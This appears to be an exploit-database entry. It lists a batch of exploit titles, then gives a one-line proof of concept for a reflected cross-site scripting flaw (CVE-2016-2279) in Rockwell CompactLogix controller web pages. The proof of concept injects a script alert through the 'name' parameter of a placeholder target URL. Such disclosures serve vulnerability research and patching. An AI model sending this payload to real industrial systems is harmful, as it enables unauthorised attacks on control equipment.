1873a7d234
12 changes to exploits/shellcodes WhatsApp 2.18.31 - Memory Corruption Microsoft Windows - Token Process Trust SID Access Check Bypass Privilege Escalation Libuser - roothelper Privilege Escalation (Metasploit) Inteno IOPSYS 2.0 - 4.2.0 p910nd - Remote Command Execution MyBB Admin Notes Plugin 1.1 - Cross-Site Request Forgery VirtueMart 3.1.14 - Persistent Cross-Site Scripting Rockwell Scada System 27.011 - Cross-Site Scripting Multiplayer BlackJack Online Casino Game 2.5 - Persistent Cross-Site Scripting Horse Market Sell & Rent Portal Script 1.5.7 - Cross-Site Request Forgery totemomail Encryption Gateway 6.0.0 Build 371 - Cross-Site Request Forgery WordPress Plugin Metronet Tag Manager 1.2.7 - Cross-Site Request Forgery RSA Authentication Manager 8.2.1.4.0-build1394922 / < 8.3 P1 - XML External Entity Injection / Cross-Site Flashing / DOM Cross-Site Scripting
19 lines
No EOL
1.1 KiB
Text
19 lines
No EOL
1.1 KiB
Text
# Exploit Title: Rockwell Scada System - Cross-Site Scripting
|
|
# Date: 2018-05-16
|
|
# Exploit Author: t4rkd3vilz
|
|
# Vendor Homepage: https://rockwellautomation.com/
|
|
# Software Link: http://compatibility.rockwellautomation.com/Pages/MultiProductDownload.aspx?famID=4
|
|
# Version: 1769-L16ER-BB1B, Version 27.011 and earlier, 1769-L18ER-BB1B, Version 27.011 and earlier,
|
|
# 1769-L18ERM-BB1B, Version 27.011 and earlier, 1769-L24ER-QB1B,
|
|
# Version 27.011 and earlier, 1769-L24ER-QBFC1B
|
|
# Version 27.011 and earlier, 1769-L27ERM-QBFC1B, Version 27.011 and earlier
|
|
# 1769-L30ER Version 27.011 and earlier, 1769-L30ERM, Version 27.011 and earlier,
|
|
# 1769-L30ER-NSE, Version 27.011 and earlier
|
|
# 1769-L33ER Version 27.011 and earlier, 1769-L33ERM, Version 27.011 and earlier, 1769-L36ERM, Version 27.011 and earlier
|
|
# 1769-L23E-QB1B, Version 20.018 and earlier (Discontinued June 2016), and 1769-L23E-QBFC1B, Version 20.018 and earlier
|
|
# (Discontinued June 2016).
|
|
# Tested on: Windows Machine and Chrome,Firefox explorer
|
|
# CVE : CVE-2016-2279
|
|
|
|
# PoC
|
|
http://TargetIP/rokform/SysDataDetail?name=<<script>alert(1);</script> |